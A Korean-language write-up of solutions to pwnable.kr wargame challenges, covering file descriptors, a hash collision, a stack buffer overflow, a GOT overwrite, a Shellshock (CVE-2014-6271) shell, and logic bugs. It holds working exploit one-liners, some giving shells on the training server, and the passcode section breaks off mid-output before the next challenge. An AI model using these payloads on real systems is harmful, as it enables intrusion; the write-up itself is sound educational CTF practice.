Pwnable.kr 풀이 보고서

[fd]
ssh로 접속하고 fd.c를 제공해 주기에 한번 소스코드를 열어보았다.

```
fd@ubuntu:~$ cat fd.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
        if(argc<2){
                printf("pass argv[1] a number\n");
                return 0;
        }
        int fd = atoi( argv[1] ) - 0x1234;
        int len = 0;
        len = read(fd, buf, 32);
        if(!strcmp("LETMEWIN\n", buf)){
                printf("good job :)\n");
                system("/bin/cat flag");
                exit(0);
        }
        printf("learn about Linux file IO\n");
        return 0;

}
fd@ubuntu:~$
```

문제의 제목도 fd였고 문제 설명에서도 file descriptor가 언급되어 있기에 간략하게 linux file descriptor에 대해 알아보았다.

file descriptor
0번 : 표준 입력(Standard input)
1번 : 표준 출력(Standard output)
2번 : 표준 에러(Standard error)

대략적으로 설명을 읽어보니, 파일을 열게 되면 번호가 부여되고 디스크립터 테이블에 저장된다고 한다. 또한 테이블에는 0부터 +1씩 순차적으로 자동 증가되는데 윈도우 핸들 개념과 비슷하지만 순차 등록되는 점이 다르다.
0, 1, 2 번호는 예약된 번호로 일반적으로 파일을 열면 3번으로 확인 된다.
번호는 0 이상은 될 수 있지만 0 미만은 될 수 없다.

라고 설명이 나와있었는데, 일단 0번은 표준 입력으로 뭔가를 입력할 수 있는 모양이다.
그렇다면 buf에는 LETMEWIN\n이 들어가야하는데, read에서 함수가 호출되는 형태가 read(0, buf, 32); 이렇게 호출된다면 buf에 입력값을 넣을 수 있겠다.
그렇다면 argv[1]이 0x1234가 되면 될 것이다.

```
fd@ubuntu:~$ ./fd $(python -c 'print 0x1234')
LETMEWIN
good job :)
mommy! I think I know what a file descriptor is!!
fd@ubuntu:~$
```

[collision]
이번에는 MD5 해시에 관련된 문제같은 문제 설명이 나와있었다.
똑같이 ssh로 접속한다. ssh col@pwnable.kr -p2222

```
#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
    int* ip = (int*)p;
    int i;
    int res=0;
    for(i=0; i<5; i++){
        res += ip[i];
    }
    return res;
}

int main(int argc, char* argv[]){
    if(argc<2){
        printf("usage : %s [passcode]\n", argv[0]);
        return 0;
    }
    if(strlen(argv[1]) != 20){
        printf("passcode length should be 20 bytes\n");
        return 0;
    }

    if(hashcode == check_password( argv[1] )){
        system("/bin/cat flag");
        return 0;
    }
    else
        printf("wrong passcode.\n");
    return 0;
}
```

이번 문제는 hashcode와 입력값이 check_password를 지난 값이 같을 경우 flag를 꺼내주는 문제이다.
자세히 보면 입력받은 값을 4바이트 단위로 배열에 담은 후에 res에 모든 값을 더해주고 res를 리턴해주는걸 확인할 수 있는데, 우선 20바이트를 입력받게 되어있으니 0x21DD09EC를 5로 나눈 결과를 확인해보자.
0x6C5CEC8이라는 값이 나왔는데, 나머지는 4이다. 그러니까 이 값을 4번 이어붙이고 마지막 값에는 4를 더한값을 붙이면 될 것이다.

```
col@ubuntu:~$ ./col $(python -c 'print "\xc8\xce\xc5\x06"*4 + "\xcc\xce\xc5\x06"')
daddy! I just managed to create a hash collision :)
col@ubuntu:~$
```

[bof]
이번에는 ssh로 접속하는 문제가 아니라, 바이너리를 제공해줬고 nc 접속 경로를 제공해줬다.

```
argc            = dword ptr  8
argv            = dword ptr  0Ch
envp            = dword ptr  10h

                push    ebp
                mov     ebp, esp
                and     esp, 0FFFFFFF0h
                sub     esp, 10h
                mov     dword ptr [esp], 0DEADBEEFh
                call    func
                mov     eax, 0
                leave
                retn
main            endp
```

일단 IDA로 까보았는데, 우선 func함수를 인자를 0xdeadbeef를 넘겨서 실행한다.

```
0000062C s              = byte ptr -2Ch
0000062C var_C          = dword ptr -0Ch
0000062C arg_0          = dword ptr  8
0000062C
0000062C                push    ebp
0000062D                mov     ebp, esp
0000062F                sub     esp, 48h
00000632                mov     eax, large gs:14h
00000638                mov     [ebp+var_C], eax
0000063B                xor     eax, eax
0000063D                mov     dword ptr [esp], offset s ; "overflow me : "
00000644                call    puts
00000649                lea     eax, [ebp+s]
0000064C                mov     [esp], eax      ; s
0000064F                call    gets
00000654                cmp     [ebp+arg_0], 0CAFEBABEh
0000065B                jnz     short loc_66B
0000065D                mov     dword ptr [esp], offset command ; "/bin/sh"
00000664                call    system
00000669                jmp     short loc_677
0000066B ; ---------------------------------------------------------------------------
0000066B
0000066B loc_66B:                               ; CODE XREF: func+2F↑j
0000066B                mov     dword ptr [esp], offset aNah__ ; "Nah.."
00000672                call    puts
00000677
00000677 loc_677:                               ; CODE XREF: func+3D↑j
00000677                mov     eax, [ebp+var_C]
0000067A                xor     eax, large gs:14h
00000681                jz      short locret_688
00000683                call    __stack_chk_fail
00000688 ; ---------------------------------------------------------------------------
00000688
00000688 locret_688:                            ; CODE XREF: func+55↑j
00000688                leave
00000689                retn
```

func 내부에서는 취약한 함수인 gets를 통해서 [ebp-0x2C] 에서부터 문자열을 사용자에게 입력받는다. 그 후 만약 [ebp+8]의 위치의 값과 0xcafebabe가 같을 경우에 system("/bin/sh");를 실행시켜 준다. 우선 0x8과 0x2C의 거리 차이부터 계산해보자.
0x34라는 크기가 나온다. 그렇다는건 gets 함수의 취약점을 이용해서 Overflow를 일으키고 0x34 바이트의 더미를 채운 후 0xcafebabe를 보내게 되면 쉘이 떨어지는 구조를 가지고 있다.

```
revers3r@revers3r-virtual-machine:~$ (python -c 'print "\xbe\xba\xfe\xca"*14 + "\n"'; cat;) | nc pwnable.kr 9000
id
uid=1003(bof) gid=1003(bof) groups=1003(bof)
ls
bof
bof.c
flag
log
super.pl
cat flag
daddy, I just pwned a buFFer :)
```

[flag]
이번 문제는 리버싱 문제인 듯 싶다. 리눅스 ELF 바이너리에 upx 패킹 처리가 되어있었는데 우선 패킹을 해제했다.

```
revers3r@revers3r-virtual-machine:~/바탕화면/upx-3.91-amd64_linux$ ./upx -d /home/revers3r/바탕화면/flag
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2013
UPX 3.91        Markus Oberhumer, Laszlo Molnar & John Reiser   Sep 30th 2013

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
    887219 <-    335288   37.79%  linux/ElfAMD    flag

Unpacked 1 file.
revers3r@revers3r-virtual-machine:~/바탕화면/upx-3.91-amd64_linux$
```

그 후 바이너리를 strings를 사용해서 문자열을 출력해주고 pwnable.kr에서 항상 flag 끝에는 :)가 붙어있었으니 grep 해주었더니 한 개가 잡혔다.

```
revers3r@revers3r-virtual-machine:~/바탕화면$ strings flag | grep ":)"
UPX...? sounds like a delivery service :)
revers3r@revers3r-virtual-machine:~/바탕화면$
```

[passcode]
이 문제는 생각보다 재밌는 문제였다. 코딩 실수에 의해서 발생하는 취약점을 다룬 문제였는데, 우선 버그가 생기는 곳을 코드에서 찾아보자.

먼저 소스코드는 다음과 같다.

```
#include <stdio.h>
#include <stdlib.h>

void login(){
        int passcode1;
        int passcode2;

        printf("enter passcode1 : ");
        scanf("%d", passcode1);
        fflush(stdin);

        // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
        printf("enter passcode2 : ");
        scanf("%d", passcode2);

        printf("checking...\n");
        if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
                exit(0);
        }
}

void welcome(){
        char name[100];
        printf("enter you name : ");
        scanf("%100s", name);
        printf("Welcome %s!\n", name);
}

int main(){
        printf("Toddler's Secure Login System 1.0 beta.\n");
```

```
        welcome();
        login();

        // something after login...
        printf("Now I can safely trust you that you have credential :)\n");
        return 0;
}
```

그런데 login 함수 내부에서 scanf를 실행할 때 정수값을 받아주면서도 &를 붙이지 않아서 버그가 발생한다. 이로 인해서 만약 저 곳에 있는 값을 조작하면 원하는 값을 바꿀 수 있게 된다.
그런데 대체 어떻게 해야지 원하는 주소에 값을 쓸 수 있을까?
이 부분에서 꽤 고민을 많이했다. 하지만 역시 직접 디버깅해봐야겠지?
디버깅을 하면서 돌려보니까 의외로 name을 입력받는 부분에서 문제가 발생했다.

```
(gdb) r <<< $(python -c 'print "A"*100')
Starting program: /home/passcode/passcode <<< $(python -c 'print "A"*100')
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!

Breakpoint 1, 0x0804857c in login ()
(gdb) ni
0x0804857f in login ()
(gdb) i r
eax            0x8048783        134514563
ecx            0x0      0
edx            0x41414141       1094795585
ebx            0xf774eff4       -143331340
esp            0xffafc2e0       0xffafc2e0
ebp            0xffafc308       0xffafc308
esi            0x0      0
edi            0x0      0
eip            0x804857f        0x804857f <login+27>
eflags         0x286    [ PF SF IF ]
cs             0x23     35
ss             0x2b     43
ds             0x2b     43
es             0x2b     43
```

```
fs             0x0        0
gs             0x63       99
(gdb)
```

여기서 0x0804857c주소는 첫 번째 passcode를 입력받는 scanf함수가 호출되기 전 인자를 설정해주는 부분이다.
입력받는 주소를 edx에 옮겨넣게 되는 과정을 수행하는 주소인데, edx에 넘겨진 값은 이상하게도 0x41414141이었다. AAAA가 넘어간걸 봐서 다시한번 디버깅해봤다.

```
Start it from the beginning? (y or n) y

Starting program: /home/passcode/passcode <<< $(python -c 'print "A"*96 + "BBBB"')
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB!

Breakpoint 1, 0x0804857c in login ()
(gdb) ni
0x0804857f in login ()
(gdb) i r
eax            0x8048783        134514563
ecx            0x0        0
edx            0x42424242       1111638594
ebx            0xf76e4ff4       -143765516
esp            0xffba5010       0xffba5010
ebp            0xffba5038       0xffba5038
esi            0x0        0
edi            0x0        0
eip            0x804857f        0x804857f <login+27>
eflags         0x282      [ SF IF ]
cs             0x23       35
ss             0x2b       43
ds             0x2b       43
es             0x2b       43
fs             0x0        0
gs             0x63       99
(gdb)
```

A를 96개 넘기고 마지막 4바이트를 B로 설정했더니 0x42424242로 바뀌었다.

이제 모든 문제는 해결되었다. 마지막에 내가 입력하고 싶은 주소를 쓰고 원하는 값을 넣게 되면 값 조작이 가능해질 것이다.
우선 passcode에서 저런 처리를 하게되면 조건은 성립시킬 수 없기에, else에서 실행되는 exit 함수의 got를 건드리기로 했다.

```
(gdb) x/3i 0x08048480
   0x8048480 <exit@plt>:        jmp    *0x804a018
   0x8048486 <exit@plt+6>:      push   $0x30
   0x804848b <exit@plt+11>:     jmp    0x8048410
(gdb)
```

우선 주소가 담겨져있는 곳은 0x0804a018
... exit@got를 건드리려고 했으나, python으로 페이로드를 보낼 때 두 번째 scanf에서 세그폴트가 발생한다. 그래서 중간에 있는 fflush를 건드리기로 결정했다.

```
passcode@ubuntu:~$ (python -c 'print "A"*96 + "\x04\xa0\x04\x08\n" + "134514147\n" + "13371337\n"') | ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome AAAA
```

```
        printf("Wrong, maybe you should try 2^32 cases.\n");
        return 0;
}
```

random 문제는 간단한 문제이다. 우선 조건은 key와 random 값을 xor 연산한 결과가 0xdeadbeef가 나와야하는데, 여기서 rand() 함수를 호출하기 전에 별다른 처리를 안해줘서 항상 같은 랜덤값이 나오게 된다. gdb로 직접 디버깅해보면 랜덤 값이 무엇인지 알 수 있을 것이다.

```
random@ubuntu:~$ ./random
3039230856
Good!
Mommy, I thought libc random is unpredictable...
random@ubuntu:~$
```

[leg]
leg 문제는 ARM 어셈블리에 관한 문제이다. key1, key2, key3의 리턴 값을 합한 결과가 입력 값과 같을 경우 cat flag를 해준다.
key1과 key2, key3 내부에는 lr과 pc 등을 사용해서 key를 생성해주는 작업을 하고있는데, 내부 ARM 어셈블리만 해석하면 쉽게 구할 수 있다.

```
ls
bin     dev     flag    linuxrc  root    sys
boot    etc     leg     proc     sbin    usr
/ $ ./leg
Daddy has very strong arm! : 108400
Congratz!
My daddy has a lot of ARMv5te muscle!
/ $
```

[input]
input 문제의 경우에는 argv, stdin, env, socket 등으로 이루어진 인증 프로그램을 하나씩 조건을 맞추면 되는 문제였다. 프로그래밍을 할 줄 알면 풀 수 있는 문제였는데,
우선 첫 번째 조건은 argv였다.

```
if(argc != 100) return 0;
if(strcmp(argv['A'],"\x00")) return 0;
if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
printf("Stage 1 clear!\n");
```

일단 argc를 100으로 맞춰준 후 argv[‘A’]를 \x00으로 argv[‘B’]를 \x20\x0a\x0d로 맞추면 된다.
우선 argv[‘A’]나 argv[‘B’]같은 인자의 경우에는..

```
argv['A'] = "\x00";
argv['B'] = "\x20\x0a\x0d";
```

이런식으로 코딩을 해주면 된다.
다음 stage2의 경우에는 stdin으로 입력을 받는다.

```
char buf[4];
read(0, buf, 4);
if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
read(2, buf, 4);
if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
printf("Stage 2 clear!\n");
```

이 부분은 pipe를 이용하는 방법밖에 방법이 없다.. 세 번째 조건을 살펴보자.

```
if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
printf("Stage 3 clear!\n");
```

\xde\xad\xbe\xef라는 환경변수의 값이 \xca\xfe\xba\xbe 라는 값이 되어야한다.
이는 그냥 리눅스 환경변수를 설정하도록 프로그래밍하면 되겠다..
나중에 execve시킬 때 argv와 envp를 넘기니 이때 넘어가도록 코딩하면 된다.

이제 네 번째 조건이다.

```
FILE* fp = fopen("\x0a", "r");
if(!fp) return 0;
if( fread(buf, 4, 1, fp)!=1 ) return 0;
if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
fclose(fp);
```

파일을 열고 내부의 값이 \x00\x00\x00\x00 일 경우 pass 시켜준다. 이는 그냥 파일 입출력을 통해서 파일을 만들어주면 되겠다.
그리고 이제 마지막 조건이다.

```
if( recv(cd, buf, 4, 0) != 4 ) return 0;
if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
printf("Stage 5 clear!\n");
```

socket을 통한 통신인데, 4바이트를 recv 해주고 그 값이 \xde\xad\xbe\xef 일 경우에 pass 시켜준다. 중요한 점은, saddr.sin_port = htons(atoi(argv['C'])); 다음과 같은 코드가 있기 때문에 argv[‘C’]를 따로 내부에서 선언해주고 그 포트로 연결해주면 된다.

input@ubuntu:/tmp/inputtest$ vi test.c
input@ubuntu:/tmp/inputtest$ gcc -o test test.c
input@ubuntu:/tmp/inputtest$ ls
test test.c
input@ubuntu:/tmp/inputtest$ ./test
Welcome to pwnable.kr
Let's see if you know how to give input to program
Just give me correct inputs then you will get the flag :)
Stage 1 clear!
Stage 2 clear!
Stage 3 clear!
Stage 4 clear!

[mistake]
문제에 힌트가 나와있다. 연산자 우선순위라고 한다. 그럼 연산자 우선순위에 대해 먼저 찾아보도록 하자.

7위	<,>,<=,>=	대소 비교	→
8위	==,!=	동등 비교	→
9위	&	비트 AND	→
10위	^	비트 XOR	→
11위	|	비트 OR	→
12위	&&	논리 AND	→
13위	||	논리 OR	→
14위	?:	조건 연산	←
15위	=,+=,-=, *=,/=,%=, <<=,>>=, &=,^=,|=	대입 연산	←

이를 확인해보면 <, > 와 같은 대소 비교 연산자보다 =연산이 우선순위가 뒤에 있는 것을 알 수 있다.
그럼 코드를 확인해보면..

if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
이런 코드가 있다. 여기서 우선순위는 <가 먼저있기 때문에 결과적으로 /home/mistake/password를 open 하더라도 1 < 0이라는 결과가 나오기 때문에 리턴값은

0이 된다.
그렇다면 fd는 결국 0이 대입되게 되는데, fd는 read() 때 다시 재사용된다.
첫 문제인 fd때 다뤘던 내용이지만 fd는 File Descriptor로 0이면 stdin으로 입력을 받는다.
if(!(len=read(fd,pw_buf,PW_LEN) > 0)){

결과적으로 이 부분에서 입력을 받게 되고,

```
scanf("%10s", pw_buf2);

// xor your input
xor(pw_buf2, 10);

if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
```

이 부분에서 입력받은 pw_buf2를 10과 xor연산한 결과를 아까 입력한 값과 비교하게 된다.

```
$ ./mistake
do not bruteforce...
0000000000
1111111111
input password : Password OK
Mommy, the operator priority always confuses me :(
$
```

sleep 때문에 자꾸 기다려지는데 브루트포싱을 방지하기 위함인 듯 싶다.

[shellshock]
이 문제는 얼마전에 CVE에 나왔던 shellshock를 다룬 문제이다.
내부에서 shellshock 라는 프로그램이 bash를 실행하는걸 볼 수 있는데, shellshock 기법의 공격방식대로 공격하면 된다.
나중에는 이게 왜 이렇게 되는지 cgi 환경같은 곳에서 테스트를 해보고 공부해야겠다.

```
shellshock@ubuntu:~$ export shellshock='() { :;}; /bin/sh'
shellshock@ubuntu:~$ ./shellshock
$ id
uid=1048(shellshock) gid=1049(shellshock2) groups=1048(shellshock)
$ cat flag
only if I knew CVE-2014-6271 ten years ago..!!
$
```

[coin1]
동전중에서 가짜 동전을 골라내는 문제이다. 문제 접근 방법은 접속하면 전부 영어로 설명이 되어있고..

탐색 알고리즘을 사용해서 socket 프로그래밍을 하면 100번 통과 후 플래그가 나온다.

```
Correct! (99)

Congrats! get your flag
b1NaRy_S34rch1nG_1s_3asy_p3asy
```

[blackjack]
이 문제는 nc로 접속하게 되면 카드게임을 한다. 처음 시작을 할 때 배팅을 하는데, 딱 봐도 특정 포인트를 넘기게 되면 key를 꺼내주는 문제였다.
점수가 1점인걸 봐서는 그리 어려운 문제가 아니다. 일단 소스코드를 확인했다.

```
int betting() //Asks user amount to bet
{
 printf("\n\nEnter Bet: $");
 scanf("%d", &bet);

 if (bet > cash) //If player tries to bet more money than player has
 {
        printf("\nYou cannot bet more money than you have.");
        printf("\nEnter Bet: ");
        scanf("%d", &bet);
        return bet;
 }
 else return bet;
} // End Function
```

음수를 입력할 수 있는 구조를 가지고 있었다.
만약 음수를 입력했을 때 베팅이 가능한데, 게임에서 진 경우에 자신이 가진 cash - bet을 하기 때문에 결과적으로는 cash + bet이 되어버린다.

```
The Dealer Has a Total of 20
Woah Buddy, You Went WAY over.

You have 0 Wins and 1 Losses. Awesome!

Would You Like To Play Again?
Please Enter Y for Yes or N for No
y
[2J[1;1HYaY_I_AM_A_MILLIONARE_LOL


Cash: $1410065907
-------
|S    |
|  9  |
|    S|
-------

Your Total is 9

The Dealer Has a Total of 9

Enter Bet: $
```

```
[lotto]
        if(read(fd, lotto, 6) != 6){
                printf("error2. tell admin\n");
                exit(-1);
        }
        for(i=0; i<6; i++){
                lotto[i] = (lotto[i] % 45) + 1;          // 1 ~ 45
        }
        close(fd);

        // calculate lotto score
        int match = 0, j = 0;
        for(i=0; i<6; i++){
                for(j=0; j<6; j++){
                        if(lotto[i] == submit[j]){
                                match++;
                        }
```

```
                }
        }
```

lotto 문제는 for 반복문에 의한 코딩 실수를 다루고 있었다.
여기서 보면 lotto 라는 값과 입력한 submit을 비교하는걸 볼 수 있는데 반복문이 중첩문으로 되어있다.
그렇게 되면 비교하는 형태가

lotto[0] == submit[0], lotto[0] == submit[1], lotto[0] == submit[2]

이런식으로 비교하게 된다. 그렇기 때문에 submit의 6글자를 전부 같은 글자로 맞추고 lotto와 1글자만 같다면 결과적으로는 match가 6까지 증가하게 된다.
플래그를 띄워주는 match의 값은 6이기 때문에 같은 글자만 6개 보내면서 lotto와 맞을 때까지 돌리면 되겠다.